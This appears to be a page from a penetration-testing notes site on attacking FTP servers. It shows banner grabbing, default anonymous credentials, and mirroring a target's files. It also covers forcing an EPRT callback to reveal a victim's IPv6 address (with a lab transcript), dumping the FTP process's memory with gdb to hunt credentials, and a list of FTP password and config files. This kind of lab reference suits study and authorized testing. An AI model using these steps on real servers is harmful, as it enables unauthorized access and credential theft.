0xPThree.gitbook.io
  • Network Services
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 23 - Telnet
      • 25, 465, 587 - SMTP(S)
      • 53 - DNS
      • 80, 443 - HTTP(S)
        • Frameworks
          • Drupal
          • Flask
          • Laravel
          • Tomcat
          • Werkzeug
        • Fuzzing
        • Grafana
        • Languages
          • PHP
        • WebDAV
        • Web Vulnerabilities
          • CloudFlare Bypass
          • Command Injection
          • CSTI
          • File Inclusion/Path Traversal
          • SQL Injection
          • SSI
          • SSTI
          • Upload bypass
          • XLST
          • XML Injection
      • 88 - Kerberos
      • 135, 593 - MSRPC
      • 139, 445 - SMB
      • 161, 162, 10161, 10162 - SNMP
      • 1433, 3306 - SQL
      • 2049 - NFS
      • 2375 - Docker
  • Active Directory
    • ADCS
    • DACL Abuse
      • AddMember
      • ForceChangePassword
      • Kerberoasting
      • ReadLAPSPassword
      • ReadGMSAPassword
      • Grant Ownership
      • Grant Rights
      • Logon Script
      • Rights on RODC object
    • Security groups
    • Misc
  • Coding Languages
    • Python
  • Exploits / PoC's
    • Ansible
      • Ansible AWX
    • Apache
      • HTTP Server - CVE-2021-41773
      • Struts - CVE-2024-53677 / S2-067
      • Tomcat - CVE-2020-1938 / CVE-2020-10487
      • Tomcat - CVE-2025-24813
    • Confluence - CVE-2023-22527
    • CUPS - CVE-2024-47***
    • D-Link
      • CVE-2020-29322
      • Decrypt firmware: DIR-X1560
    • Dmidecode - CVE-2023-30630
    • Erlang
      • OTP SSH - CVE-2025-32433
    • EternalBlue - MS17-010
    • Gitlab - CVE-2023-7028
    • Ivanti - CVE-2024-21893 / 21887
    • Jenkins - CVE-2024-23897
    • LXD group - N/A
    • nf_tables - CVE-2024-1086
    • NFS - N/A
    • Oracle
      • WebLogic - CVE-2018-2628
      • WebLogic - CVE-2019-2729
      • WebLogic - CVE-2023-21839
      • WebLogic - CVE-2024-20931
      • WebLogic - CVE-2024-21006
    • PHP
      • CVE-2024-4577
    • RunC
      • CVE-2022-0811
      • CVE-2024-21626
    • Snap - CVE-2019-7304
    • TP-Link - CVE-2024-5035
  • Hardware
    • Firmware
    • JTAG
    • SPI
    • UART
    • USB
  • Post Exploit
    • Compile payload
    • Obfuscation
    • Read VMDK files
    • Saved Credentials
      • Linux - Ansible AWX / Tower
      • Linux - Dell Networker
      • Windows - Mozilla Firefox
      • Windows - Notepad++
      • Windows - WinSCP
    • Session Hijack
    • Sniffing Passwords
    • Upgrade shell
    • VMware
      • Disk Encryption
      • LDAP Connection (SSO)
      • Restore VCSA Postgres Database
      • vCenter Forge SAML
      • Waiter Account Information
  • Development
    • Dnsmasq DHCP
    • Docker
      • Ansible AWX
      • Docker Compose
      • FirmAE - Emulate Firmware
      • Oracle WebLogic
      • Rocket.Chat
      • Tomcat
      • Vaultwarden
    • Harden Windows Host
    • HTTPS Proxy
    • Netplan + Networkd
    • SSL/TLS Certificates
  • TODO
Powered by GitBook
On this page
  • Banner Grabbing
  • Anonymous Login
  • Download All Files
  • Force IPv6 Callback
  • Dumping Memory
  • Interesting Files

Was this helpful?

  1. Network Services
  2. Ports

21 - FTP

Banner Grabbing

nc -vn <IP> 21
openssl s_client -connect somesite.com:21 -starttls ftp

Anonymous Login

anonymous : anonymous
anonymous :
ftp : ftp

Download All Files

wget -m ftp://anonymous:anonymous@10.10.10.98
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

Force IPv6 Callback

RFC2428 inform about the function EPRT which can be used to connect to another host. The following are sample EPRT commands:

 EPRT |1|132.235.1.2|6275|
 EPRT |2|1080::8:800:200C:417A|5282|

EPRT can be used this to send a connection from a victim FTP server back to our attacking devices, in order to disclose the victims IPv6 address. EPRT isn't a valid "normal" FTP command, it is a RAW FTP command, so instead of using FTP you need to use telnet port 21.

$ telnet zetta.htb 21
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
USER 6OJCaGVYOJKtY3zFFQUTmtZNl8BHEuq5
331 User 6OJCaGVYOJKtY3zFFQUTmtZNl8BHEuq5 OK. Password required
PASS 6OJCaGVYOJKtY3zFFQUTmtZNl8BHEuq5
EPRT |2|dead:beef:2::1008|4488|        // my IPv6 address
200-FXP transfer: from 10.10.14.10 to dead:beef:2::1008%160
200 PORT command successful
LIST
425 Could not open data connection to port 4488: Connection refused

Capture incoming IPv6 address with tcpdump.

$ tcpdump -i tun0 -vv ip6
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:12:32.613603 IP6 (flowlabel 0x6bdb7, hlim 63, next-header TCP (6) payload length: 40) dead:beef::250:56ff:feb9:df29.37250 > kali.4488: Flags [S], cksum 0x64d3 (correct), seq 1305187145, win 28800, options [mss 1337,sackOK,TS val 374756922 ecr 0,nop,wscale 7], length 0
09:12:32.613626 IP6 (flowlabel 0xbe7b8, hlim 64, next-header TCP (6) payload length: 20) kali.4488 > dead:beef::250:56ff:feb9:df29.37250: Flags [R.], cksum 0xa938 (correct), seq 0, ack 1305187146, win 0, length 0

Victim IPv6 address: dead:beef::250:56ff:feb9:df29

Dumping Memory

Attach to FTP process and dump it's memory, in hope of finding credentials.

$ gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/<name>.mem <START_HEAD> <END_HEAD>
(gdb) q
$ strings /tmp/<name>.mem

// Alternative to 'info proc mappings' to get heap start-end address
(gdb) ! grep heap /proc/<PID>/maps

Interesting Files

/etc/ftpusers
/etc/ftpd.conf
/etc/proftpd.conf
/etc/proftpd/proftpd.conf
/etc/proftpd/ftpd.passwd
/etc/vsftpd.conf
/etc/vsftpd/ftpusers
/etc/vsftpd/user_list

Last updated 12 months ago

Was this helpful?